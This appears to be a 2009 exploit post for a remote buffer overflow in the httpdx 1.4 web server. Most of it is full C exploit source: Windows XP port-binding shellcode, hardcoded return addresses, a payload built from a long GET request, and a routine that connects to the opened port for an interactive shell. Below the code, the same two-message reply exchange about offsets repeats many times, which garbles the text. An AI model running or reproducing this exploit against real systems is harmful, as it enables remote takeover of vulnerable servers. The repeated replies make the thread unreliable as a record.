Remote buffer overflow in httpdx

httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.

Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)


#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
   Derived from shellcode written by silicon */
unsigned char bindcode[] =
"x89xE5"
"x83xC4xECx33xC0x50x50x50x6Ax06"
"x6Ax01x6Ax02xB8"
"x6Ax8BxABx71" // WSASocketA()
"xFFxD0x8BxD8x33xC0x89x45xF4xB0"
"x02x66x89x45xF0x66xC7x45xF2xE5"
"xC5x6Ax10x8Dx55xF0x52x53xB8"
"x80x44xABx71" // bind()
"xFFxD0x6Ax01x53xB8"
"xD3x8CxABx71" // listen()
"xFFxD0x33xC0x50x50x53xB8"
"x40x10xACx71" // accept()
"xFFxD0x8BxD8xBA"
"x7BxD3x81x7C" // SetStdHandle()
"x53x6AxF6xFFxD2x53x6AxF5xFFxD2"
"x53x6AxF4xFFxD2xC7x45xFBx41x63"
"x6Dx64x8Dx45xFCx50xB8"
"xC7x93xC2x77" // system()
"xFFxD0"
"x31xC0x50xB8"
"x12xCBx81x7C" // ExitProcess()
"xFFxD0";


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("
 - Connection closed by local user
");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("
 - Connection closed by remote host.
");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("
 - Read failure
");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
	char buff[1100];
	long ret1 = 0x64f8134b;	// pop ret (core.dll)
	long addr = 0x63b8624f;	// Required to reach ret instruction
	long ret2 = 0x7c874413;	// jmp esp (kernel32.dll)
	long *ptr;
	struct sockaddr_in target;
	int i, port, sock;


	printf("
---------------------------------------------------------------------
");
	printf("  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) 
");
	printf("  [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> 
");
	printf("  [*] Tested with httpdx 1.4 on Windows XP SP3 

");

	if(argc < 3)
	{
        	printf("[-] Usage: %s  <Target IP> <Port>

", argv[0]);
        	exit(1);
	}

	port = atoi(argv[2]);
	printf("[+] Creating payload 
");

	memset(buff, 0, 1024);
	strcpy(buff, "GET /abc=");
        memset(buff+9, A, 616);
        ptr = (long *) (buff + 625);
        *ptr = ret1;
        ptr++;
        *ptr = addr;
        ptr++;
        *ptr = ret2;
        ptr++;
        *ptr = 0;
	strcat(buff, bindcode);
	memset(buff+765, A, 244);
	buff[1009] = 0;
	strcat(buff, " HTTP/1.1
Host: 192.168.2.1

");
	
	printf("[+] Connecting to %s on port %s 
", argv[1], argv[2]);
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(port);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket 
");
		return(1);
	}

	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		perror("[-] Connect 
");
		return(1);
	}

	printf("[+] Sending payload 
");
	if (send(sock, buff, strlen(buff), 0)== -1)
	{
		perror("[-] Send 
");
		return(1);
	}

	close(sock);
	sleep(1);
    
	target.sin_family = AF_INET;
	target.sin_addr.s_addr = inet_addr(argv[1]);
	target.sin_port = htons(58821);

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[-] Socket 
");
		return(1);
	}
    
	if(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)
	{
		printf("[-] Exploit failed. 
");
		return(1);
	}   
   
	printf("
[+] Dropping to shell 

");
	shell(sock);
	return 0;
}



Replies to this exploit:

From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj


From: dr_ide@hushmail.com
Sent: Fri 9. Oct 2009 15:49
this didnt seem to work for me. Test system XPSP3 + httpdx 1.4.0.

Definitely causes a crash but the retn/offsets must not be universal?


From: pankaj208@gmail.com
Sent: Sat 10. Oct 2009 02:58
The addr value used is required to reach the ret instruction. The value used 0x63b8624f lies in idata segment of n.dll
Note that in order to reach ret instruction,
value at addr+0x0e0f should be non-zero for if(isset(client->serve.redirect)) to succeed  => 004069E1  CMP BYTE PTR DS:[EAX+0E0F],0
and
addr+0x0f24 should be writable for client->state = STATE_DONE to execute. => 00406AAF  MOV DWORD PTR DS:[EAX+0F24],0

The other two addresses used are
ret1 = 0x64f8134b (pop ret in core.dll) to pop addr and return to ret2
ret2 = 0x7c874413 (jmp esp in kernel32.dll) to jump to shellcode following ret2.

Though I am able to get a shell, the retn/offsets used are not universal.

Thanks,
Pankaj